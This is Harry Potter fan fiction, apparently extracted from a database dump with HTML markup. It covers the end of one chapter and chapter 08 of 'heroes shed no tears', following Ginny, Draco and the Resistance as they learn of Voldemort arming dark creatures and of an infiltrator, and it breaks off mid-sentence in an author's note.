Spectacular wand for healing,&#8221; Ollivander said, a pleased smile on his face.\n<br><br>\n\n&#8220;So this is it?&#8221; Ginny asked. Ollivander nodded.\n<br><br>\n\nDraco stepped up and Ollivander led him to the counter. They talked briefly and Draco dropped a few galleons in his hand. He walked away from the counter, and just then the bell tinkled in the doorway. Draco&#8217;s eyes snapped open wide, he looked at Ollivander who nodded towards a closet; Ginny missed it, being far to absorbed in her new wand. Draco grabbed her arm, flung the closet door open and pushed her in. Ginny stifled a gasp as her back hit shelves, and the door was shut within seconds. Her back was arched at an unusual angle that forced some of the shelves upwards, the boxes of wands resting on them, slanting awkwardly, threatening to fall if she made one move. She glared at the door. \n<br><br>\n\nThere were slats in the door all facing in a downward angle, but she could see little rows of light in-between them and could make out Draco&#8217;s figure near the closet, and that of two others near the entrance of the shop. She held her breath fearfully.\n<br><br>\n\n&#8220;Malfoy,&#8221; she heard someone say, outside of the closet, in a rough, masculine voice.\n<br><br>\n\n&#8220;Flint,&#8221; came Draco&#8217;s voice. His accent was more clear and precise now than it normally was, and it had taken on a more assuming and arrogant tone.\n<br><br>\n\n&#8220;Hello, Draco,&#8221; purred a feminine voice. It instantly put her on guard&#8212;it was not the voice of someone you could trust. &#8220;What might you be doing in a wand shop?&#8221; she asked suspiciously.\n<br><br>\n\n&#8220;Mathilde,&#8221; Draco&#8217;s voice slashed coldly throughout the shop. &#8220;I could ask you the same question,&#8221; he replied. His voice was more harsh than she had ever heard it before, it chilled her, even scared her. It reminded her of the ruthless family he had grown up in, reminding her of who she used to think he was. \n<br><br>\n\nGinny&#8217;s neck was beginning to ache, as was her back from being in such an awkward position. She wanted to move, but that would risk making the boxes fall and causing a ruckus that would surely call attention to herself.\n<br><br>\n\n&#8220;We have business to discuss with Mr. Ollivander,&#8221; Mathilde said irritably. Ginny could almost see the woman sneering at Draco, but she was sure that he was doing the same to her.\n<br><br>\n\n&#8220;Well then,&#8221; said Draco. &#8220;I guess I&#8217;ll just be on my way.&#8221; Ginny stopped, her eyes widening, did he just say what she thought he said? He was going to leave her in that godforsaken closet in an awkward position that was killing her neck and back? How dare he! \n<br><br>\n\nSure enough his footsteps were heard making their way towards the door; the bell tinkled to signal his departure. Ginny could have sworn she heard Mr. Ollivander let out a quiet chuckle. \n<br><br>\n\n&#8220;Mr. Ollivander,&#8221; said Flint. &#8220;We have business&#8230;&#8221;\n<br><br>\n\n&#8220;Right,&#8221; Ollivander said. &#8220;Right this way.&#8221; Then he said a bit louder, as if he wanted Ginny to hear, &#8220;Right in the back of the shop, so it&#8217;ll be private&#8230;&#8221; Ginny let out a sigh of relief, at least now she could get out of the closet. She would just have to find a way of doing so without disrupting all of the boxes.\n<br><br>\n\nTheir footsteps disappeared into the back of the shop. Ginny moved her arm carefully, pushing one of the shelves down carefully, watching the boxes closely&#8212;she had it secured in its rightful place. Good, now she only had three more left and she would be home free. She worked through two more of them before there was a loud outburst, causing Ginny to stop in her tracks. Damn, she had almost been finished.\n<br><br>\n\n&#8220;Really, Mr. Ollivander! We have been patient enough!&#8221; Mathilde exclaimed. &#8220;At this point, we really don&#8217;t care if <i>the wand fits the wizard</i>! All we need is our bloody goddamned wands!&#8221; she shouted. Ginny raised her eyebrows, scolding a quiet, <i>temper, temper</i>, in her head. &#8220;There had better be five hundred wands packed and ready by tomorrow morning, Ollivander, or you&#8217;ll have Zabini to answer to, and I promise you he won&#8217;t be nearly as nice about this as me.&#8221; Mathilde stomped out of the back of the shop and slammed the front door behind her, making the bell slam against the door and fly back and forth, ringing more than necessary. \n<br><br>\n\nFlint&#8217;s heavier footsteps came out of the back of the shop. &#8220;Really am sorry about her, Ollivander. I do believe that Malfoy set her off.&#8221;\n<br><br>\n\n&#8220;Perfectly understandable,&#8221; Ollivander murmured. &#8220;Good day, the wands will certainly be ready tomorrow morning.&#8221; The door shut again; Flint had left. Ginny let out an audible sigh.\n<br><br>\n\nShe fixed the last shelf and opened the closet door slowly. Ollivander was leaning against the front counter, watching her with amused eyes. &#8220;Nice guy you&#8217;ve got there,&#8221; he said, grinning at her.\n<br><br>\n\nShe rolled her eyes. &#8220;Tell me about it. Thank you,&#8221; she added before making her way out of the shop.\n<br><br>\n\nOnce outside, she searched for Draco, making sure that her hood was pulled up fully and covering her distinctive hair. She saw him leaning on a vendor cart near the front of a potions shop and glared at him. He was smirking in her direction. The bastard.\n<br><br>\n\nShe rolled her neck and arched her back. She could feel her back throbbing from the pain of being in that odd position for so long, and her neck had all but gone numb. She went down the stairs, taking her time, and crossed the street just a languidly.\n<br><br>\n\nWhen she reached him, he was still looking down at her with that slow, lazy, smirk. Oh how she wanted to just smack it off of his face. She whipped her wand out of her robes and pushed the tip to his neck, but found his also pressed to her temple. She didn&#8217;t care. &#8220;If. You. Ever. Do. That. Again.&#8221; she said in long drawn out breaths. &#8220;I will maim you.&#8221;\n<br><br>\n\nThat made Draco snort. &#8220;Maim me? Oh, you wound me, Weasley. The threat. The horror,&#8221; he clutched chest above his heart with his free hand. &#8220;The pain.&#8221;\n<br><br>\n\n&#8220;Shut up,&#8221; Ginny snapped. &#8220;I can&#8217;t believe you left me in that closet! You just up and left me! Didn&#8217;t even think about Ginny, eh? While you just walked out of the shop, I was stuck in that stupid closet with my back pressed up against some shelves! Had I moved they would have collapsed and wands would have fallen and caused such a commotion I would surely have been killed by your stupid Death Eater friends,&#8221; she ranted.\n<br><br>\n\nDraco&#8217;s eyes narrowed. &#8220;They <i>aren&#8217;t</i> my <i>friends</i>.&#8221; He glanced around cautiously. &#8220;Mind keeping it down? Anyone could have heard you.&#8221;\n<br><br>\n\nGinny&#8217;s eyes flashed. &#8220;Oh the nerve&#8230;&#8221; she hissed. Draco rolled his eyes and took off in the direction of Hogwarts. Ginny squared her shoulders and followed after him.\n<br><br>\n\nThey were halfway back to Hogwarts, when Ginny burst out: &#8220;I<i> can&#8217;t </i>believe you just left me there in that closet!!&#8221;\n<br><br>\n\n&#8220;Get over it, Weasley. There was nothing else I could do,&#8221; said Draco. &#8220;Did you want me to stand around and wait for them to leave? That wouldn&#8217;t have happened. They would have waited for me to leave first.&#8221;\n<br><br>\n\n&#8220;Why wouldn&#8217;t they have just done their business and left?&#8221; Ginny asked, curious. &#8220;They were Death Eaters, aren&#8217;t you, too?&#8221;\n<br><br>\n\nDraco nodded slowly. &#8220;Yes&#8230;but, Mathilde has this thing&#8230;&#8221;\n<br><br>\n\n&#8220;What? Wand up her ass?&#8221; Ginny asked sourly. Mathilde had done all but left a good impression on her. She had acted like a whiny prat in Ollivander&#8217;s and Ginny didn&#8217;t see how she could possibly be any sort of good person.\n<br><br>\n\nDraco grinned. Ginny&#8217;s eyes widened&#8212;Draco had grinned. &#8220;Yeah,&#8221; he said, his eyes twinkling with amusement. &#8220;That. And she hates me.&#8221;\n<br><br>\n\n&#8220;Why does she hate you?&#8221; asked Ginny.\n<br><br>\n\nDraco shrugged. &#8220;Because&#8230;. I have better judgment than her, and I took something away from her because it was too dangerous to be left with her.&#8221; Draco cleared his throat. &#8220;She&#8217;s just&#8230;irresponsible.&#8221; \n<br><br>\n\nGinny stopped, and blinked. Did that mean what she thought it meant?\n<br><br>\n<br><br>\n\n---------------------------------<br>\n<b>A/N: </b>Okay, that&#8217;s the end of the chapter. Actually, I didn&#8217;t mean for it to be quite so long, and that extra part, you know what it is, wasn&#8217;t supposed to be in there. I think that now you all (::wink wink::), know who Haven&#8217;s mother is. If not, I suggest that you go and reread the chapter. \n<br><br>\n\nThanks to:<br>\n<b>Elenya for betaing!!! Thank you!! (and reviewing&#8212;such a faithful beta) ::glomps::<br>\nAnd Natalie for helping me with that part in Ollivander&#8217;s. ::huggles::</b><br><br>\n\n\n\n'),
	(99, 11, ' <p><b>heroes shed no tears -- 08</b></p>\n\n<p><i>by virtualfaerie</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>---------------------</p>\n\n<p><i>&nbsp;</i></p>\n\n<p>Ginny sat in an overstuffed armchair near the fire, her legs tucked up under her and a book lying open in her lap. There were a lot of books in the Ravenclaw common room&#8212;not to her surprise, what with the Ravenclaws being the most studious (minus Hermione) out of the four houses. But, even though she did have a book&#8212;<i>Healing Spells: A Mediwizard&#8217;s Advanced Guide</i>&#8212;she wasn&#8217;t reading it. Her eyes were trained to the small, dark haired girl she had seen earlier. The one that Draco had talked to, the one whose hair he ruffled just as affectionately as he would have done for Haven. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco confused her. He was so sharp and cold most of the time, but when he was around Haven, he was so gentle and caring it sort of scared her. She shook her head, willing herself to stop thinking about such stupid things. Why should she care about Draco&#8217;s mood swings? She needed to be brushing up on her healing spells.</p>\n\n<p>&nbsp;</p>\n\n<p>She took one last look at the dark haired girl, then looked back down at her book. She read for about five minutes before she felt a small tap on her shoulder. She looked up and saw the timid face of the little girl peering up at her from under her disarrayed hair.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Excuse me,&#8221; she said quietly. &#8220;Can you tell me how to say this word?&#8221; She pointed to a word in the book that Ginny had seen her reading earlier.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Comatose,&#8221; said Ginny. She looked back up at the girl.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What does that mean?&#8221; asked the girl.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Unconscious,&#8221; said Ginny. &#8220;That&#8217;s when a person becomes unconscious because of an illness or injury, it&#8217;s like they&#8217;re asleep and they don&#8217;t wake up.&nbsp; It can last days, months, and even years, in some cases they don&#8217;t ever wake up.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So it&#8217;s like dying?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It might seem that way because they don&#8217;t wake up or show any signs that they know you&#8217;re there, but &nbsp;they&#8217;re still very much alive.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She closed her book and set it on a small table near her chair. &#8220;What&#8217;s your name?&#8221; she asked carefully.</p>\n\n<p>&nbsp;</p>\n\n<p>The girl blinked. &#8220;Sara.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m Ginny,&#8221; she said with a faint smile.</p>\n\n<p>&nbsp;</p>\n\n<p>The corner of the girl&#8217;s mouth quirked up. &#8220;Hello.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are you reading?&#8221; Ginny asked, motioning towards the book. She uncurled her legs and scooted over in the big chair, trying to make room for Sara to sit next to her.</p>\n\n<p>&nbsp;</p>\n\n<p>Sara eyed the space warily, but climbed up into the chair next to Ginny anyways. She showed Ginny the book. &#8220;<i>Magical Ailments: Curses Gone too Far</i>,&#8221; Ginny read off the cover. She furrowed her eyebrows. &#8220;Why are you reading that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My mother,&#8221; said Sara, softly. &#8220;She was under a Crutiatus Curse for a long time.&#8221; She swallowed. &#8220;She&#8217;s been in a coma ever since. Or at least that&#8217;s what my dad tells me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m so sorry.&nbsp; Who&#8217;s your father?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bane Pritchard,&#8221; said Sara. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s eyebrows furrowed. Pritchard? That sounded familiar&#8212;a name she had heard at school, perhaps? She tried to remember&#8230;but her mind came up with a blank. &#8220;Oh?&#8221; Ginny asked softly. &#8220;What&#8217;s your mother&#8217;s name?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sara looked at her hands. &#8220;Penelope.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Penelope? Ginny thought. &#8220;Penelope Clearwater?&#8221; Ginny asked.</p>\n\n<p>&nbsp;</p>\n\n<p>Sara shrugged, &#8220;I think so.&#8221; Penelope had dated Percy for the longest time&#8230;then just left him for no apparent reason. Had it been because of Bane Pritchard?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How old are you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m nine,&#8221; Sara said proudly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s a good age,&#8221; Ginny said, nodding approvingly. Sara looked up at her a smiled; she had pale blue eyes and pink cheeks. &#8220;How&#8212;How do you know Draco?&#8221; Ginny asked a bit hesitantly. </p>\n\n<p>&nbsp;</p>\n\n<p>This question brought a grin to her face. &#8220;He&#8217;s Haven&#8217;s daddy. Haven&#8217;s my friend. When he was staying here, Draco would sometimes come and play with us, or take us for swims in the lake,&#8221; Sara said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He <i>played</i> with you?&#8221; Ginny asked, trying to keep most of the disbelief from her voice. Despite Draco&#8217;s tenderness with Haven, it was hard imagining him playing with children. She never would have guessed that Draco Malfoy had a tender spot for children. </p>\n\n<p>&nbsp;</p>\n\n<p>Sara smiled. &#8220;Yes, he played with us lots.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well imagine that&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>---------------------</p>\n\n<p>&nbsp;</p>\n\n<p>Draco left Hogwarts the same day that he&#8217;d arrived, only telling Dumbledore. He needed to get back to the Death Eaters before they noticed his disappearance, what Ron had said rang through his ears, reminding him of the dangers that would arise should he be found out.</p>\n\n<p>&nbsp;</p>\n\n<p>He walked to Hogsmeade, to check up on the Serpent League, of which he was a part of, no matter how much Mathilde might blantly ignore the fact. He arrived at a small building that was situated at the end of the main road in Hogsmeade. The building had a looming dark presence that seemed to haunt its vicinity. Draco shuddered inwardly as he stepped into the building.</p>\n\n<p>&nbsp;</p>\n\n<p>The acrid smell of blood invaded his senses as soon as he stepped inside, and he heard screams from a room not to far off --- torture. He shook his head and made his way to the front desk. He needed to check in with Zabini, and in order to do that he needed a fireplace. Maybe he could get Flint to let him use the one in his office&#8212;that way he could find out what he and Mathilde were really doing in Ollivander&#8217;s earlier that day.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hello,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>The secretary looked up at him. &#8220;Your business?&#8221; she asked curtly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I need to speak to Marcus Flint, and require the use of a fireplace,&#8221; Draco said shortly.</p>\n\n<p>&nbsp;</p>\n\n<p>She nodded and pressed a button on a speaker-like device that was on her desk. &#8220;Mr. Flint,&#8221; she spoke to it. &#8220;There is a&#8230;&#8221; she paused the looked up at Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco Malfoy&#8230;&#8221; he prompted, raising an eyebrow. Hadn&#8217;t this woman been taught proper secretarial procedures?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There is a Mr. Draco Malfoy here to see you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco heard Flint&#8217;s rough voice crackle through the speaker. &#8220;Send him up,&#8221; he said tersely. </p>\n\n<p>&nbsp;</p>\n\n<p>The secretary nodded to Draco. &#8220;He&#8217;s on the second floor, to the right&#8230;second door.&#8221; She had barely finished before Draco had taken off towards the stairs. He reached Flint&#8217;s office and raised a hand to knock, but it was pulled open before he could. </p>\n\n<p>&nbsp;</p>\n\n<p>Mathilde was standing in the doorway, her black eyes blazing, but her face otherwise composed. She was impeccably groomed, as usual. Her long, black hair was fixed behind her shoulders, not a single hair out of place, and her luxurious crimson robes were completely unruffled. She stuck her nose up as she took him in. &#8220;Malfoy,&#8221; she said coldly, eyeing him with disdain.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Lestrange,&#8221; he returned, his voice holding the same cold bite. &#8220;If you would&#8230;ah&#8230;remove yourself from the doorway?&#8221; He raised an eyebrow at her. &#8220;I have something to discuss with Flint.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She pursed her lips angrily, and brushed past him brusquely, hitting his shoulder with hers viciously. Draco&#8217;s lip curled up in disgust as he watched her storm down the hallway, her long robes billowing out around her legs. He snorted and entered Flint&#8217;s office.</p>\n\n<p>&nbsp;</p>\n\n<p>Flint was sitting at his desk, his head in his hands, fingers massaging his temples lethargically. He didn&#8217;t raise his head as Draco entered the room. &#8220;Sit,&#8221; he said, motioning with his head towards the two chairs that sat facing his desk. He finished his massage and looked up at Draco. &#8220;She&#8217;s getting more and more arduous everyday. I swear that woman&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Has a wand up her ass?&#8221; Draco supplied helpfully, remembering what Ginny had said earlier.</p>\n\n<p>&nbsp;</p>\n\n<p>Flint cocked his head to the side as he gave Draco a thoughtful look. &#8220;Not what I was going to say&#8230;but it&#8217;ll work.&#8221; He smiled slowly. &#8220;So&#8230;what&#8217;re you here for?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wanted to know what you and Mathilde were doing at Ollivander&#8217;s yesterday,&#8221; said Draco, bluntly, he wasted no time getting to the subject at hand. &#8220;And I need to use your fireplace,&#8221; he added, jerking his head to the fireplace behind Flint&#8217;s desk.</p>\n\n<p>&nbsp;</p>\n\n<p>Flint eyed Draco suspiciously for a moment. &#8220;We were getting wands,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That much was obvious,&#8221; Draco said, restraining the urge to roll his eyes. Sometimes he wondered how Flint had even been initiated into the ranks of the Death Eaters, most of the time he was intolerably stupid. Then again, old Voldemort had always wanted as many supporters as he could get.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wasn&#8217;t finished,&#8221; Flint bit off. He let out a loud sigh and continued. &#8220;The Dark Lord wanted wands for&#8230;he hasn&#8217;t told us exactly, but from what we&#8217;ve heard, from the grapevine and such,&#8221; he said, waving his hand around airily. Draco resisted yet another urge to roll his eyes, wishing desperately that Flint would just out and say things clearly. &#8220;He wants them for some dark creatures he&#8217;s managed to win over. We&#8217;re assuming that he&#8217;s going to hand them a wand and let them go at it with the remaining Resistance since he knows they&#8217;re going to try again for a comeback.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco tried not the wrinkle his nose in disgust. Voldemort was employing the help of dark creatures? And he was giving them wands no less? There was a rule that magical creatures were not supposed to be in possession of a wand&#8212;but then again, the Ministry that had served with those rules was long gone. The creatures didn&#8217;t even know any spells, was Voldemort just going to let them&#8230;. Maybe he was just going to use them as a distraction to wear down the Resistance before he sent his own men in?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let me get this straight,&#8221; Draco said with a small frown. &#8220;The Dark Lord is handing out free wands to any dark creature willing to sacrifice his life? He&#8217;s just going to use them as pawns to wear down the Resistance should they try to attack again?&#8221; He paused for a moment. &#8220;What kind of creatures has he won over?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Flint scratched his head. &#8220;From what I&#8217;ve heard&#8230;vampires, trolls, grindlylows, boggarts, pogrebin, and veela. I think he&#8217;s working on the giants and werewolves at the moment.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco raised his eyebrows in surprise. Werewolves? He would have to talk to Lupin as soon as he got back to the castle. They needed to prevent anymore creatures crossing over to the dark side. He may even have to speak to Charlie Weasley about dragons. The Resistance would have a huge advantage if they had the dragons on their side.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What about dragons?&#8221; asked Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We haven&#8217;t heard much about them. But so far they&#8217;ve stayed neutral&#8230;I don&#8217;t know if they&#8217;d change opinions,&#8221; said Flint. &#8220;You said you needed to use my fireplace?&#8221; he asked, hastily changing the subject.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded, he needed to speak to Zabini as soon as possible.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Alright then,&#8221; Flint said, getting up out of his seat. &#8220;I&#8217;ll let you use it in private. I&#8217;ll be back in ten minutes&#8230;if you need anything else.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Okay,&#8221; said Draco, waiting until Flint had closed the door behind him before he approached the fireplace. He took one of the pots from Flint&#8217;s desk and threw some powder in the fire. &#8220;Blaise Zabini!&#8221; he called into it, sitting on the chair in front of &nbsp;the fireplace.</p>\n\n<p>&nbsp;</p>\n\n<p>Within seconds, there was a &#8216;pop&#8217; and Zabini&#8217;s face appeared in the fire. &#8220;Why hullo there, Malfoy,&#8221; he said. &#8220;Long time no see, been busy?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, busy. I&#8217;ve been in Hogsmeade looking up on things,&#8221; said Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah,&#8221; said Zabini. &#8220;That&#8217;s alright. Not much has been going on around here anyways. You probably are doing better there, what with the Serpent League being there and all. Probably more action, eh?&#8221; he asked with a small grin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hardly,&#8221; said Draco. &#8220;I&#8217;m sure it&#8217;s just as boring anywhere.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Zabini shrugged. &#8220;No matter. Just calling to check in?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Draco. &#8220;Are you sure there isn&#8217;t anything new happening?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh,&#8221; said Zabini, realization dawning in his eyes. &#8220;We&#8217;ve got an infiltrate in the Resistance.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Have you?&#8221; Draco asked, masking his surprise.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh yes, genius isn&#8217;t it?&#8221; He looked back over his shoulder and frowned. &#8220;Sorry, got to cut it short, Malfoy. I&#8217;ve got a meeting to attend.&#8221; Zabini raised his hand and gave Draco a mock-salute before disappearing from the fire.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco cursed under his breath and stalked out of the room.</p>\n\n<p>&nbsp;</p>\n\n<p>---------------------</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny entered the old Charms room that night. It was after dinner and Dumbledore had called a meeting. In place of all the desks, there was a large round table in the room, chairs scattered all around it. Most of them occupied by: Sirius Black, Remus Lupin, Dumbledore, Harry, Hermione, Neville, Fred and George, Bill, Charlie, Snape, Seamus Finnegan, and a man that Ginny didn&#8217;t recognize.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hello,&#8221; she said, taking a seat next to Harry, who gave her a small smile.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore looked at a clock that was hanging above the doorway. &#8220;We&#8217;re just waiting for Mr. Malfoy.&#8221; Dumbledore cleared his throat, &#8220;It seems that he got held up in Hogsmeade, but&#8230;he has something very important to tell us.&#8221; He glanced at Ginny, who he noticed was glancing askance at the man she didn&#8217;t recognize. &#8220;I suppose a few introductions are necessary. Ginny Weasley,&#8221; he said, holding out a hand towards Ginny, &#8220;meet Bane Pritchard,&#8221; he held out another hand towards the unfamiliar man. &#8220;Bane, Ginny,&#8221; he finished.</p>\n\n<p>&nbsp;</p>\n\n<p>So that was Sara&#8217;s father, Ginny thought interestedly. He was built sturdily, with dark eyes and even darker hair. His eyes bore into hers smolderingly as she looked at him across the table. &#8220;Hello,&#8221; he said in a low husky voice, it made the hairs on the back of her neck stand up.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hi,&#8221; she said timidly&#8212;and was saved from any further conversation with him by Draco, stalking through the door, his robes billowing out around his legs, making sharp cracking noises with his crisp steps. His face was like stone, but his eyes glittering dangerously. He took the only chair left, next to Ginny, pulling it out and sitting down quickly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. Malfoy,&#8221; Dumbledore greeted him. &#8220;We&#8217;re pleased you could make it. You mentioned you had some news?</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s not good, Voldemort has resorted to petty tactics, again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore inclined his head, urging him to continue.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Voldemort has enlisted the help of several dark creatures, and is planning giving them all wands to attack the Resistance with. He knows that we&#8217;re planning a final attack, and he&#8217;s preparing for it. He&#8217;s already got vampires, trolls, grindlylows, boggarts, pogrebin, and veela on his side&#8212;ready to fight against us. He&#8217;s working on recruiting the giants,&#8221; he paused and looked to Lupin, &#8220;and werewolves.&#8221; Lupin raised his eyebrows. &#8220;We <i>have to</i> prevent him from recruiting any other creatures, and maybe even try recruiting some of our own.&#8221; He turned to Charlie. &#8220;Do you think it&#8217;s possible to get the dragons to support us?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Charlie lowered his eyebrows and looked at the table pensively for a moment. &#8220;It&#8217;s possible,&#8221; he said. &#8220;But there&#8217;s no telling, dragons tend to be fickle.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Draco shook his head tiredly. &#8220;But that&#8217;s not the worst of it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8230;what is?&#8221; Ginny asked, almost afraid of what he might say.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They&#8217;ve got an infiltrate in the castle,&#8221; he said impassively. </p>\n\n<p>&nbsp;</p>\n\n<p>Neville let out an audible gasp. &#8220;No&#8230;.&#8221; he said disbelievingly. &#8220;There&#8217;s no way&#8230;&#8221; he frowned. &#8220;That&#8217;s impossible,&#8221; he said with a little squeak. </p>\n\n<p>&nbsp;</p>\n\n<p>Fred and George&#8217;s heads hit the table at the exact same time. &#8220;Oh gods,&#8221; Fred mumbled, his voice muffled against the table.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;This cannot be happening,&#8221; said George.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione glanced around the table frightfully. &#8220;It isn&#8217;t anyone in <i>here</i> is it?&#8221; she asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Draco said truthfully. &#8220;Zabini had to go before I could ask. So my guess is as good as yours.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are we going to do about this?&#8221; asked Sirius, looking to Dumbledore.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore shook his head tiredly. &#8220;Be careful. Watch what you say around anyone&#8212;be suspicious. There&#8217;s nothing else I can say really&#8230;we don&#8217;t know who it is.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco rubbed his eyes. &#8220;I&#8217;ll go back in tomorrow and see what else I can find out.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What a lovely day&#8230;&#8221; Ginny said morosely.</p>\n\n<p>&nbsp;</p>\n\n<p>---------------------</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I haven&#8217;t seen you around before,&#8221; Bane said pleasantly as they were walking back to the Ravenclaw tower. He, Draco, and Ginny had left together. &#8220;Did you just get here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny looked up at him. &#8220;Yes, actually I just got here today.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh,&#8221; he said softly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I met your daughter,&#8221; said Ginny, fumbling for something talk about. &#8220;She&#8217;s really sweet.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Bane smiled. &#8220;She is, isn&#8217;t she?&#8221; Ginny nodded, and they reached the tower. Draco said the password quietly and the entered the common room.</p>\n\n<p>&nbsp;</p>\n\n<p>Sara sighted Bane and ran at him. &#8220;Daddy!&#8221; she squealed, jumping up in his arms.</p>\n\n<p>&nbsp;</p>\n\n<p>He picked her up. &#8220;Hullo, sweetheart.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny stood for a moment&#8212;transfixed in the act of tenderness between Bane and his daughter&#8212;but Draco grabbed her arm and pulled her up the staircase with him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are you doing?&#8221; she hissed at him, as soon as they reached their dorm. She jerked her arm away from him, and rubbed it tenderly where his vice-like grip had been. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco glared at her. &#8220;He&#8217;s married&#8212;in case you didn&#8217;t know. He doesn&#8217;t need you leering at him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wasn&#8217;t leering at him!&#8221; Ginny objected, glaring right back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then what were you doing?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was&#8230;&#8221; Ginny paused. &#8220;I was admiring his affection towards Sara.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wishing that you were getting some too, eh?&#8221; Draco spat. &#8220;I hadn&#8217;t taken you as a tramp, fancying another woman&#8217;s man. But then again&#8230;you are a Weasley.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Take that back, Malfoy,&#8221; said Ginny, narrowing her eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Make me,&#8221; he said, eyes jeering her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re a bastard.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So I&#8217;ve been told, countless times,&#8221; Draco replied in a bored tone.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And they were all right!&#8221; Ginny fumed. She stomped over to her bed and climbed in, yanking the drawings shut.</p>\n\n<p>&nbsp;</p>\n\n<p>-----------------------</p>\n\n<p>&nbsp;</p>\n\n<p><b>A/N:</b> Okay, there was your chapter! I think I finished this one a bit more quickly than others&#8230;. but it&#8217;s also about 50 words shorter than the others. I usually like to make sure these chapters are <i>at least</i> 